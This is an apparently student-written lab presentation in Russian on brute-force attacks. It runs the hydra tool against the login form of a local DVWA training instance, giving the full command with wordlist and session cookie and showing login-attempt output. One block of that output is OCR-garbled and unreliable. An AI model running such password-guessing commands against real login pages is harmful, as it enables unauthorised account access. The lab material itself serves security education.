Индивидуальный проект - этап 3

Алёна Дрожжанова¹ 14 марта, 2025, Москва, Россия

¹Российский Университет Дружбы Народов

Цели и задачи работы ——

Цель лабораторной работы

Целью данной работы является изучение атак типа брут-форс и инструмента hydra.

лабораторной работы

Процесс выполнения

Введение

Атака брут-форс (англ. brute force attack) — это метод взлома, основанный на последовательном переборе возможных комбинаций значений (паролей, ключей шифрования и т. д.), чтобы подобрать правильное значение и получить несанкционированный доступ.

Введение

Атаки брут-форс являются одним из самых простых, но эффективных способов взлома учетных записей, если системы не защищены должным образом.

Сильные пароли, ограничения на количество попыток входа и двухфакторная аутентификация могут значительно уменьшить вероятность успешной атаки.

Страница веб-формы



Рис. 1: Страница веб-формы

Команда для запуска hydra

```
hydra -l admin -P /usr/share/dirb/wordlists/small.txt \
localhost http-get-form "/DVWA/vulnerabilities/brute/ \
:username=^USER^&password=^PASS^&Login=Login: \
H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; \
security=medium:F=Username and/or password incorrect." \
-V
```

Результат подбора

```
shydra -l admin -P /usr/share/dirb/wordlists/small.txt localhost http-get-form "/DVWA/vulnerabilities/brute/
       name=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; security=medium:F=Us
 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz
  ations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-14 07:57:08
 [DATA] max 16 tasks per 1 server, overall 16 tasks, 959 login tries (l:1/p:959), ~60 tries per task
 [DATA] attacking http-get-form://localhost:80/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=
 Login:H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; security=medium:F=Username and/or password incorrect.
 [ATTEMPT] target localhost - login "admin" - pass "0" - 1 of 959 [child 0] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "00" - 2 of 959 [child 1] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "01" - 3 of 959 [child 2] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "02" - 4 of 959 [child 3] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "03" - 5 of 959 [child 4] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "1" - 6 of 959 [child 5] (0/0)
ATTEMP1 target tocalbast - login "defair" pass '1" - 6 of 999 (chile 3) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '1" - 6 of 999 (chile 3) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '100' - 6 of 999 (chile 3) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '100' - 9 of 999 (chile 3) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '120' - 10 of 999 (chile 3) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '120' - 10 of 999 (chile 12) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '20' - 12 of 999 (chile 12) (0/9) (ATTEMP1 target tocalbast - login "defair" pass '20' - 12 of 999 (chile 12) (0/9)
 [ATTEMPT] target localhost - login "admin" - pass "2000" - 14 of 959 [child 13] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "2001" - 15 of 959 [child 14] (0/0)
 [ATTEMPT] target localhost - login "admin" - pass "2002" - 16 of 959 [child 15] (0/0)
```

Рис. 2: Результат подбора

Выводы по проделанной работе

Вывод

Мы приобрели знания об атаках брут-форс и инструменте hydra.